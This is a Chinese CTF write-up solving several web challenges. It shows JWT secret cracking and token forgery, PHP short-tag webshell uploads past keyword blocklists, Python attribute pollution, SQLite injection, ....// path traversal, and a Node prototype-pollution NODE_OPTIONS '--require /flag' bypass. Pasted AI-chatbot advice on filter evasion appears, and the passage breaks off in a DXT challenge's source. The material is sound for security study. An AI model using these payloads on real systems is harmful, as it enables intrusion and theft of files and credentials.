POLARISCTF-web简单难度

1.only real

f12看前端源码:得到

随后尝试伪造cookie

1
_clck=xhammg%5E2%5Eg4q%5E0%5E2145; _ga_BFDVYZJ3DE=GS2.1.s1774669028$o61$g1$t1774669037$j51$l0$h0; _ga=GA1.1.2057677002.1769704968; _clsk=ysyf6m%5E1774669037220%5E3%5E1%5Es.clarity.ms%2Fcollect; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwicm9sZSI6InVzZXIiLCJleHAiOjE3NzQ2ODA3OTB9.JFhyCZzB3XjqrpAgHYB244mN0djl9BNjRFih1k0tkgM

使用JWTcrack工具进行全字母数字范围的密钥爆破

1
2
3
4
5
6
jwt-cracker -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwicm9sZSI6InVzZXIiLCJleHAiOjE3NzQ2ODA3OTB9.JFhyCZzB3XjqrpAgHYB244mN0djl9BNjRFih1k0tkgM -a abcdefghijklmnopqrstuvwxyz0123456789 --max 6
Attempts: 100000 (220K/s last attempt was '1eeb')
Attempts: 200000 (287K/s last attempt was 'tkjd')
SECRET FOUND: cdef
Time taken (sec): 0.914
Total attempts: 300000

在jwt.io进行伪造admin,得到

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzc0NjgwNzkwfQ.9Hd2oVIJd9RENv8Pex3v_EaA-StqOzKqU0MvZYKsY40

稍微尝试了下,文件内容过滤php,eval,post,assert

短标签绕过:

1
2
3
4
5
6
7
8
9
10
11
12
Gemini said
既然 php、eval、post、assert 这些关键词都被过滤了,说明后端极大概率在对上传文件的内容进行扫描(Content-Based Filtering)。

在 CTF 中,这种过滤通常有两种绕过思路:利用 PHP 的灵活性(变形) 或者 寻找不受限制的执行方式。

1. 绕过关键字过滤的姿势
A. 短标签绕过 (Short Open Tags)
如果后端只过滤了 <?php,可以尝试短标签。

写法:<?= 等价于 <?php echo

Payload:<?=目录执行命令?>
1
<?=`ls /`;

发现几个文件,读取一下,

读取env:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
KUBERNETES_SERVICE_PORT=449
KUBERNETES_PORT=1449
APACHE_CONFDIR=/etc/apache2
HOSTNAME=dep-259f09a2-d9f7-4333-9a8e-6b5eb49d5a56-5db7bdb6f7-bsn4s
PHP_INI_DIR=/usr/local/etc/php
SHLVL=0
PHP_LDFLAGS=-Wl,-O1 -pie
APACHE_RUN_DIR=/var/run/apache2
PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_VERSION=7.4.33
APACHE_PID_FILE=/var/run/apache2/apache2.pid
GPG_KEYS=42670A7FE4D0441C8E4632349E4FDC074A4EF02D 5A52880781F755608BF815FC910DEB46F53EA312
PHP_ASC_URL=https://www.php.net/distributions/php-7.4.33.tar.xz.asc
PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_URL=https://www.php.net/distributions/php-7.4.33.tar.xz
KUBERNETES_PORT_443_TCP_ADDR=unix:///var/run/docker.sock
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
KUBERNETES_PORT_443_TCP_PORT=1449
APACHE_LOCK_DIR=/var/lock/apache2
KUBERNETES_PORT_443_TCP_PROTO=
LANG=C
APACHE_RUN_GROUP=www-data
APACHE_RUN_USER=www-data
APACHE_LOG_DIR=/var/log/apache2
KUBERNETES_SERVICE_PORT_HTTPS=449
KUBERNETES_PORT_443_TCP=
PWD=/var/www/html/uploads
PHPIZE_DEPS=autoconf dpkg-dev file g++ gcc libc-dev make pkg-config re2c
KUBERNETES_SERVICE_HOST=unix:///var/run/docker.sock
PHP_SHA256=924846abf93bc613815c55dd3f5809377813ac62a9ec4eb3778675b82a27b927
APACHE_ENVVARS=/etc/apache2/envvars

看看有些什么文件

1
<?=`ls -aR /var/www/html`;

明显的flag.php

1
/var/www/html: . .. Dockerfile dashboard.php entrypoint.sh flag.php index.php jwt.php login.php logout.php message.php static upload.php uploads /var/www/html/static: . .. style.css /var/www/html/uploads: . .. 008eadf6a872c3501941278cf5aa9768_muma.php 07a33b7e5efaaf11e0d0e1e4c9565f89_muma.php 1a2e68522d0b615d8156643227dec52d_muma.php 1b91f0d39610235d41918826bf652187_muma.php 3d11013ef1046e3eb8efa41590658224_muma.php 4b33454ec45cba48f6c80142a10bc66c_muma.php 4c44e9bb6d1f85b7a76ab888909b5869_muma.php 5df5c9b79ec3d3672a1fa75046c6fd5f_muma.php 654e8d55ff83c739b0e3b79ad4b9ec83_muma.php 679bca3c333e28ba338204cbe6ff3d8e_muma.php 7569f45e1c8d05fc53b7385f7493d0f3_muma.php 83e0a291442d5f515412039d5441cae1_muma.php 89dd6ae86cd8452c816101e798b01595_muma.php 8a2a708b5fd54d9bb1a4954a5c2a7b78_muma.php 8e6281784bc55fe08f634c5b4a5fb673_muma.php 967bde2ad3396bbcf381f993ecbcd39f_muma.php 97839fcfad2b52f7b31297b66d4b66e3_muma.php 97a4fa50ae8d612844136f22cf30b681_muma.php 9cb3de498797caa80672cece0b715ca0_muma.jpg a568199e77e6eae57173b7fd6e7c305e_muma.php c9c6196cc62d179a9d3f64db6693c635_muma.php cc3d9bf0fb1edea561be2c0405185bdb_muma.jpg db13870987d5943dd6db545c1149aeea_muma.php df88ed17a1eb394ffd86cf90dd2c0a48_muma.php f1b2ff94bde138e8c8f92d1e770cccd5_muma.php 

看看entrypoint.sh文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#!/bin/bash

set -e



# Handle FLAG environment variable

if [ "$FLAG" ]; then

echo $FLAG > /var/www/html/flag.php

chmod 444 /var/www/html/flag.php

export FLAG=""

fi



# 写死的配置

DB_HOST="127.0.0.1"

DB_USER="root"

DB_PASSWORD="root"

DB_NAME="joomla"

DB_TYPE="mysqli"



ADMIN_USER="Admin"

ADMIN_USERNAME="admin"

ADMIN_PASSWORD="adm1n_passw0rd_123_234rfcds"

ADMIN_EMAIL="admin@example.com"

SITE_NAME="Joomla Revenge"



# ========== 配置 MariaDB ==========

mkdir -p /var/run/mysqld

chown mysql:mysql /var/run/mysqld

chmod 755 /var/run/mysqld



cat > /etc/mysql/mariadb.conf.d/99-docker.cnf < /dev/null 2>&1; then

echo "[*] MariaDB is ready."

break

fi

sleep 1

done



for i in $(seq 1 30); do

if mysqladmin -h 127.0.0.1 -P 3306 ping > /dev/null 2>&1; then

echo "[*] MariaDB TCP is ready."

break

fi

sleep 1

done



if ! mysql -e "USE ${DB_NAME}" > /dev/null 2>&1; then

echo "[*] Creating database ${DB_NAME}..."

mysql <

看看message.php

1
2
3
4
5
6
7
8
9
10
11
	<?php
if(isset($_POST['msg'])){

libxml_use_internal_errors(true);

$xml = $_POST['msg'];

// 🚫 禁止 file:// 协议
if(preg_match('/file:\/\//i', $xml)){
die("<div class='tip'>非法协议</div>");
}

再看看dashboard.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
<?php
include "jwt.php";
error_reporting(0);
if(!isset($_COOKIE['token'])) die("未登录");

$data = jwt_decode($_COOKIE['token'],"cdef");
if(!$data) die("非法Cookie");

$role = $data['role'];
$name = $role=="admin"?"xmadmin":"xmuser";

function fake_twig($input){
if(preg_match('/system|exec|passthru|shell|file|php|eval|cat|flag|\.\.|\//i', $input)){
return "Blocked";
}

if(preg_match('/{{(.*?)}}/', $input, $m)){
$exp = $m[1];
$exp = str_replace(["'", '"'], '', $exp);

if(preg_match('/^[0-9+\-*\/\s]+$/', $exp)){
eval("\$res = $exp;");
return $res;
}else{
return "Invalid";
}
}

return htmlspecialchars($input);
}

$nick = $name;
$msg = "欢迎来到星盟招新赛";

$nick_tip = "";
$age_tip = "";
$upload_tip = "";

if($role=="admin"){

if(isset($_POST['nick'])){
$nick = $_POST['nick'];
$nick_tip = "你的昵称已经更改为:".$nick;
}

if(isset($_POST['age'])){
$age = fake_twig($_POST['age']);
$age_tip = "你的年龄已经更改为:".$age;
}else{
$age = "18";
}

if(isset($_FILES['file'])){

$f = $_FILES['file'];
$tmp = $f['tmp_name'];
$name = $f['name'];

if($f['error'] !== 0){
$upload_tip = "上传失败";
}else{

$content = file_get_contents($tmp);

// 黑名单变量
$black_list = [
"system",
"exec",
"passthru",
"shell_exec",
"eval",
"assert",
"phpinfo",
"base64_decode",
"flag",
"<?php",
"php"
];

$blocked = false;

foreach($black_list as $bad){
if(stripos($content, $bad) !== false){
$blocked = true;
break;
}
}

if($blocked){
$upload_tip = "文件内容包含非法关键字,上传失败";
}else{

// 不校验扩展名(符合你的要求)
$newname = md5(time().$name)."_".$name;
$path = "uploads/".$newname;

move_uploaded_file($tmp, $path);

$upload_tip = "你的文件已经上传,路径为:".$path;
}
}
}


}else{
$age = "18";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>星盟后台管理</title>
<style>
body{
background:linear-gradient(120deg,#0f2027,#203a43,#2c5364);
color:#fff;
font-family:Segoe UI;
}
.top{
padding:20px;
background:#0008;
display:flex;
justify-content:space-between;
}
.card{
background:#111c;
width:600px;
margin:40px auto;
padding:30px;
border-radius:12px;
box-shadow:0 0 20px #000;
}
input,textarea,button{
width:100%;
margin:8px 0;
padding:10px;
border:none;
border-radius:6px;
}
button{
background:#3fb;
cursor:pointer;
}
.tip{color:#6cf;}
</style>
</head>

<body>

<div class="top">
<div>⭐ 星盟后台管理系统</div>
<div>当前身份:<?=$role?> | <a href="logout.php" style="color:#6cf">退出</a></div>
</div>

<div class="card">
<form method="post" enctype="multipart/form-data">

昵称:
<input name="nick" <?=$role!="admin"?"disabled":""?> value="<?=$nick?>">
<div class="tip"><?=$nick_tip?></div>

年龄:
<input name="age" <?=$role!="admin"?"disabled":""?> value="<?=$age?>">
<div class="tip"><?=$age_tip?></div>

背景图上传:
<input type="file" name="file" <?=$role!="admin"?"disabled":""?>>
<div class="tip"><?=$upload_tip?></div>

留言板:
<textarea name="msg" <?=$role!="admin"?"disabled":""?>><?=$msg?></textarea>

<button <?=$role!="admin"?"disabled":""?>>提交修改</button>

</form>
<script>
document.querySelector("input[name='file']").addEventListener("change", function(){
const file = this.files[0];
if(!file) return;

const allowed = ["image/jpeg","image/png"];
if(!allowed.includes(file.type)){
alert("只允许上传 jpg / jpeg / png 格式图片!");
this.value = "";
}
});
</script>


<?php
if($role=="admin"){
include "message.php";
}
?>

</div>

</body>
</html>

看看upload.php

1
2
3
4
5
6
7
8
<?php
$f = $_FILES['file'];
if(preg_match("/php|phtml/i",$f['name'])){
die("非法类型");
}
move_uploaded_file($f['tmp_name'],"uploads/".$f['name']);
echo "上传成功";

确实是一堆烟雾弹,最后还是短标签语句实现flag读取,这里通配符比较容易乱跑

1
2
3
4
5
6
7
8
9
10
11
------WebKitFormBoundaryb0jXHOCDTS1v00wO
Content-Disposition: form-data; name="file"; filename="muma.php"
Content-Type: image/jpeg

<?=`base64 /var/www/html/fl*g.p*`;
------WebKitFormBoundaryb0jXHOCDTS1v00wO
Content-Disposition: form-data; name="msg"

欢迎来到星盟招新赛
------WebKitFormBoundaryb0jXHOCDTS1v00wO--

1
2
3
4
5
6
7
8
使用问号:
code
PHP
<?=`cat /var/www/html/fl?g.???`;
注意:如果文件包含 < 等特殊符号可能会被浏览器当作 HTML 标签隐藏,建议在执行后右键查看网页源代码,或者直接用 base64 命令把内容编码输出:
code
PHP
<?=`base64 /var/www/html/fl*g.p*`;

2.only_real_revenge

依旧伪造cookie

1
_clck=xhammg%5E2%5Eg4r%5E0%5E2145; _ga_BFDVYZJ3DE=GS2.1.s1774784649$o67$g1$t1774784724$j55$l0$h0; _ga=GA1.1.2057677002.1769704968; _clsk=4ogi93%5E1774784719416%5E9%5E1%5Es.clarity.ms%2Fcollect; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwicm9sZSI6InVzZXIiLCJleHAiOjE3NzQ3ODkyMzB9.1A4Nqsuhsi4A0bXPYpFhF9aRm9WvhutLGTGQ91gIpPw
1
2
weizao1:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzc0Nzg5MjMwfQ.lABIf4ZAnKKkqrI_cBT9PDjxY8sW0N4OmxLEZuxmaLs

这一次:看ls /发现文件在服务器根目录下

直接cat /f*

1
<?=`cat /f*`;

得到flag

1
xmctf{25d7ecd0-d2dc-42af-b243-9ac180383c21}

3.AutoPypy

附件源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import os
import sys
import subprocess
from flask import Flask, request, render_template, jsonify

app = Flask(__name__)

BASE_DIR = os.path.dirname(os.path.abspath(__file__))
UPLOAD_FOLDER = os.path.join(BASE_DIR, 'uploads')

if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)


@app.route('/')
def index():
return render_template("index.html")

@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return 'No file part', 400

file = request.files['file']
filename = request.form.get('filename') or file.filename

save_path = os.path.join(UPLOAD_FOLDER, filename)

save_dir = os.path.dirname(save_path)
if not os.path.exists(save_dir):
try:
os.makedirs(save_dir)
except OSError:
pass

try:
file.save(save_path)
return f'成功上传至: {save_path}'
except Exception as e:
return f'上传失败: {str(e)}', 500

@app.route('/run', methods=['POST'])
def run_code():
data = request.get_json()
filename = data.get('filename')

target_file = os.path.join('/app/uploads', filename)

launcher_path = os.path.join(BASE_DIR, 'launcher.py')

try:
proc = subprocess.run(
[sys.executable, launcher_path, target_file],
capture_output=True,
text=True,
timeout=5,
cwd=BASE_DIR
)
return jsonify({"output": proc.stdout + proc.stderr})
except subprocess.TimeoutExpired:
return jsonify({"output": "Timeout"})

if __name__ == '__main__':
import site
print(f"[*] Server started.")
print(f"[*] Upload Folder: {UPLOAD_FOLDER}")
print(f"[*] Target site-packages (Try to reach here): {site.getsitepackages()[0]}")
app.run(host='0.0.0.0', port=5000)

此处run下存在:

1
2
3
4
5
6
7
8
9
@app.route('/run', methods=['POST'])
def run_code():
data = request.get_json()
filename = data.get('filename')

target_file = os.path.join('/app/uploads', filename)

launcher_path = os.path.join(BASE_DIR, 'launcher.py')

os.path.join路径拼接漏洞:
一篇解读文章:https://blog.csdn.net/m0_75178803/article/details/136310298

具体的就是:

1
2
3
os.path.join(path,*paths)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后。

然而,这个函数有一个少有人知的特性,如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径

然后此处,在读取文件处直接采用/flag即可得到flag

4.ez_python

附件app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from flask import Flask, request
import json

app = Flask(__name__)

def merge(src, dst): ##
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class Config:
def __init__(self):
self.filename = "app.py"

class Polaris:
def __init__(self):
self.config = Config()

instance = Polaris()

@app.route('/', methods=['GET', 'POST'])
def index():
if request.data:
merge(json.loads(request.data), instance)
return "Welcome to Polaris CTF"

@app.route('/read')
def read():
return open(instance.config.filename).read()

@app.route('/src')
def src():
return open(__file__).read()

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)

merge存在属性覆盖漏洞:
了解一下这个函数:

1
merge 函数通常用于将两个数据集(如 DataFrame、表或字典)基于一个或多个共享键进行关联和合并。它在数据分析(Pandas)、数据库操作(SQL JOIN)和编程语言(Python, R, Java)中非常普遍,支持内部连接、外部连接、左连接和右连接,类似于 SQLJOIN 操作。
1
在Python的Pandas库中,merge函数是一种常用的工具,用于根据一个或多个键将两个或多个DataFrame对象合并在一起。

针对于merge函数:

语法:

1
pd.merge(left, right, how='inner', on=None, left_on=None, right_on=None,left_index=False, right_index=False, sort=True,suffixes=('_x', '_y'), copy=True)

此处的merge只是左右合并操作

此处另一个函数:setattr()可用于修改属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
描述
setattr() 函数对应函数 getattr(),用于设置属性值,该属性不一定是存在的。

语法
setattr() 语法:

setattr(object, name, value)
参数
object -- 对象。
name -- 字符串,对象属性。
value -- 属性值。
返回值
无。

实例
以下实例展示了 setattr() 函数的使用方法:

对已存在的属性进行赋值:

针对此处存在:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
# 漏洞点 1:允许用户通过 key 访问并递归进入对象
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict: #很明显要传入的filename不是一个字典
merge(v, getattr(dst, k))
else:
# 漏洞点 2:允许用户通过 setattr 直接修改对象属性
setattr(dst, k, v)

class Config: ### 漏洞点 3:Config 类中包含一个 filename 属性,用户可以通过 merge 函数修改它的值
def __init__(self):
self.filename = "app.py"

class Polaris:
def __init__(self):
self.config = Config()

instance = Polaris()

@app.route('/', methods=['GET', 'POST'])
def index():
if request.data:
merge(json.loads(request.data), instance) #将用户输入的数据合并到 instance 对象中,可能会修改 instance.config.filename 的值

于是构造:

1
2
3
4
5
{
"config":{
"filename":"/etc/passwd"
}
}

根据:

1
2
3
4
5
@app.route('/', methods=['GET', 'POST'])
def index():
if request.data:
merge(json.loads(request.data), instance)
return "Welcome to Polaris CTF"

/下会就接受request.data,构造的全新的config.filename值会篡改原本instance.config.filename的值,紧接着:

1
2
3
@app.route('/read')
def read():
return open(instance.config.filename).read()

会打开阅读instance.config.filename的内容

1
2
3
4
5
{
"config":{
"filename":"/flag"
}
}

得到flag

1
XMCTF{73459c2c-5e3b-4cd3-9da6-6a272a0848b2}

5.Broken Trust(upsolve)

先注册一个用户lily

1
2
3
4
5
得到唯一uid
Registration Successful!
Your Unique ID (UID):
ed5562760df243e4a4235e02160b35bc
(Please save this ID, it is your only way to login)

登录后查看前端源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
async function refreshProfile() {
const uid = "ed5562760df243e4a4235e02160b35bc"; // 现在是字符串
const msg = document.getElementById('msg');
msg.innerText = "Syncing with API...";

try {
const response = await fetch('/api/profile', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ uid: uid }) // 发送字符串
});
const data = await response.json();
if(data.username) {
msg.innerText = "Session synced. Current user: " + data.username;
} else {
msg.innerText = "Sync failed: " + (data.error || "Unknown error");
}
} catch (e) {
msg.innerText = "Error connecting to API.";
}
}

此处存在一个鲜明的注册登录逻辑

脑洞吗,,,这里uid查询存在SQL注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /api/profile HTTP/1.1
Host: 8080-761073b0-b121-4544-9330-67cfc1cee35a.challenge.ctfplus.cn
Content-Length: 34
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://8080-761073b0-b121-4544-9330-67cfc1cee35a.challenge.ctfplus.cn
Content-Type: application/json
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://8080-761073b0-b121-4544-9330-67cfc1cee35a.challenge.ctfplus.cn/register
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

{"uid":"0' union select 1,2,3--+"}

可以得到:

1
{"role":3,"uid":1,"username":2}

测试不存在database function

1
{"uid":"0' union select 1,group_concat(name),3 from sqlite_master WHERE type='table'--+"}
1
{"role":3,"uid":1,"username":"users"}
1
{"uid":"0' union select 1,2,group_concat(sql) from sqlite_master WHERE type='table'--+"}
1
{"role":"CREATE TABLE users \n                        (uid TEXT PRIMARY KEY, \n                         username TEXT NOT NULL, \n                         role TEXT NOT NULL)","uid":1,"username":2}

sqlite查不到什么

1
{"uid":"admin' or 1=1--"}

考虑到存在users这个表,直接看admin信息,确实存在

1
{"role":"admin","uid":"127ecde13e724527bf251d8d08d034f8","username":"admin"}

登陆后,点击Access Backup Server

存在一个文件读取方式

/flag和../../../../../../../../均失败,其他方式也无果,

叁玖思路

1
2
3
测试发现后端对路径穿越做了替换过滤(大概率是 replace('../', ''))。
采用双写绕过技巧,使用 ....//,当后端把中间的 ../ 删掉后,剩下的字符刚好重新拼接成完整的 ../
最终 Payload:/api/admin?action=backup&file=....//....//....//....//flag

等题目的源码看看是不是这样

1
XMCTF{e97d708a-f200-453b-91fa-7906979b3878}

6.ezpollute

app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
const express = require('express');
const { spawn } = require('child_process');
const path = require('path');

const app = express();
app.use(express.json());
app.use(express.static(__dirname));

function merge(target, source, res) {
for (let key in source) {
if (key === '__proto__') {
if (res) {
res.send('get out!');
return;
}
continue;
}

if (source[key] instanceof Object && key in target) {
merge(target[key], source[key], res);
} else {
target[key] = source[key];
}
}
}

let config = {
name: "CTF-Guest",
theme: "default"
};

app.post('/api/config', (req, res) => {
let userConfig = req.body;

const forbidden = ['shell', 'env', 'exports', 'main', 'module', 'request', 'init', 'handle','environ','argv0','cmdline'];
const bodyStr = JSON.stringify(userConfig).toLowerCase();
for (let word of forbidden) {
if (bodyStr.includes(`"${word}"`)) {
return res.status(403).json({ error: `Forbidden keyword detected: ${word}` });
}
}

try {
merge(config, userConfig, res);
res.json({ status: "success", msg: "Configuration updated successfully." });
} catch (e) {
res.status(500).json({ status: "error", message: "Internal Server Error" });
}
});

app.get('/api/status', (req, res) => {

const customEnv = Object.create(null);
for (let key in process.env) {
if (key === 'NODE_OPTIONS') {
const value = process.env[key] || "";

const dangerousPattern = /(?:^|\s)--(require|import|loader|openssl|icu|inspect)\b/i;

if (!dangerousPattern.test(value)) {
customEnv[key] = value;
}
continue;
}
customEnv[key] = process.env[key];
}

const proc = spawn('node', ['-e', 'console.log("System Check: Node.js is running.")'], {
env: customEnv,
shell: false
});

let output = '';
proc.stdout.on('data', (data) => { output += data; });
proc.stderr.on('data', (data) => { output += data; });

proc.on('close', (code) => {
res.json({
status: "checked",
info: output.trim() || "No output from system check."
});
});
});

app.get('/', (req, res) => {
res.sendFile(path.join(__dirname, 'index.html'));
});

// Flag 位于 /flag
app.listen(3000, '0.0.0.0', () => {
console.log('Server running on port 3000');
});

看看黑名单:

1
2
3
禁了__proto__
const forbidden = ['shell', 'env', 'exports', 'main', 'module', 'request', 'init', 'handle','environ','argv0','cmdline'];
const dangerousPattern = /(?:^|\s)--(require|import|loader|openssl|icu|inspect)\b/i;

对于过滤:

1
1.可以用constructorprototype

后续黑名单,突破口在于:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
app.get('/api/status', (req, res) => {

const customEnv = Object.create(null);
for (let key in process.env) { //遍历环境
if (key === 'NODE_OPTIONS') { //检验,即进行waf过滤,禁止用户通过 NODE_OPTIONS 注入危险参数
const value = process.env[key] || "";//输出env中键值,如果没有就为空"",

const dangerousPattern = /(?:^|\s)--(require|import|loader|openssl|icu|inspect)\b/i;

if (!dangerousPattern.test(value)) {
customEnv[key] = value;
}
continue;
}
customEnv[key] = process.env[key];
}

首先存在键:”NODE_OPTIONS”

然后针对这里

针对requires学习:https://juejin.cn/post/6972095839632097293#heading-6

1
2
3
4
5
正则是为了防止执行 --require /flag。绕过思路如下:

绕过正则:正则匹配的是行首 ^ 或空白符 s 后接 --require。传入 ""--require" /flag",字符串以双引号开头,完美避开 ^ 和 s。
Node 机制:Node.js 底层解析 NODE_OPTIONS 时支持引号包裹,并在执行时会自动剥离外层双引号,最终依然以 --require /flag 运行。
信息泄露:/flag 内容不是合法的 JS 代码,require 加载时会报 SyntaxError 并将出错行(flag文本)打印到 stderr。/api/status 刚好收集了 stderr 并返回给前端。

payload:

1
2
3
4
5
6
7
8
{
"constructor": {
"prototype": {
"NODE_V8_COVERAGE": "",
"NODE_OPTIONS": "\"--require\" \"/flag\""
}
}
}

随后check’

1
XMCTF{4ca97d75-04e6-404e-860d-bcb4c81969b0}

7.DXT(upsolve)

Desktop Extensions (DXT,桌面扩展) 是一种用于打包和分发本地MCP (Model Context Protocol) 服务器的标准化格式。

前端源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
// Global state
let servers = [];

(function() {
'use strict';

// DOM 元素引用
const elements = {
uploadArea: document.getElementById('uploadArea'),
fileInput: document.getElementById('fileInput'),
serversList: document.getElementById('serversList'),
messageContainer: document.getElementById('messageContainer'),
detailsModal: document.getElementById('detailsModal'),
modalTitle: document.getElementById('modalTitle'),
modalBody: document.getElementById('modalBody')
};

// --- 辅助函数 ---

function escapeHtml(text) {
if (!text) return '';
const div = document.createElement('div');
div.textContent = text;
return div.innerHTML;
}

function showMessage(type, message) {
const msgDiv = document.createElement('div');
msgDiv.className = `message ${type}`;
msgDiv.innerHTML = message;

elements.messageContainer.innerHTML = '';
elements.messageContainer.appendChild(msgDiv);

setTimeout(() => {
if (msgDiv.parentNode) msgDiv.parentNode.removeChild(msgDiv);
}, 5000);
}

// --- 核心业务逻辑 ---

async function uploadFile(file) {
showMessage('info', `正在上传 ${escapeHtml(file.name)}...`);
const formData = new FormData();
formData.append('file', file);

try {
const response = await fetch('/api/upload', { method: 'POST', body: formData });
const data = await response.json();
if (response.ok) {
showMessage('success', '✓ 文件上传成功!');
loadServers();
} else {
showMessage('error', `上传失败: ${data.error || '未知错误'}`);
}
} catch (error) {
showMessage('error', `网络错误: ${error.message}`);
}
}

async function loadServers() {
try {
const response = await fetch('/api/servers');
const data = await response.json();
if (!response.ok) throw new Error('无法加载服务列表');

servers = data.servers || [];
renderServers();
} catch (error) {
elements.serversList.innerHTML = `<div class="empty-state">⚠️ 加载失败,请刷新页面</div>`;
}
}

// --- 视图渲染 (已清理 HTML 拼接) ---

function renderServers() {
if (servers.length === 0) {
elements.serversList.innerHTML = `<div class="empty-state">📭 暂无服务,请上传 .dxt 文件</div>`;
return;
}

// 使用模板字面量生成卡片
elements.serversList.innerHTML = servers.map(server => {
const isRunning = server.running;
const statusClass = isRunning ? 'running' : '';
const statusText = isRunning ? 'Running' : 'Stopped';
const safeId = escapeHtml(server.id);

return `
<div class="server-card ${statusClass}" id="server-${safeId}">
<div class="server-header">
<div class="server-title">
<div class="server-name">${escapeHtml(server.name)}</div>
<div class="server-version">v${escapeHtml(server.version)}</div>
</div>
<span class="server-status ${statusClass}">${statusText}</span>
</div>
<div class="server-meta">
ID: <code>${safeId.substring(0, 8)}...</code>
</div>
<div class="server-actions">
<button class="btn btn-sm" onclick="showDetails('${safeId}')">📋 详情</button>
<button class="btn btn-sm btn-success" onclick="startServer('${safeId}')">▶ 启动</button>
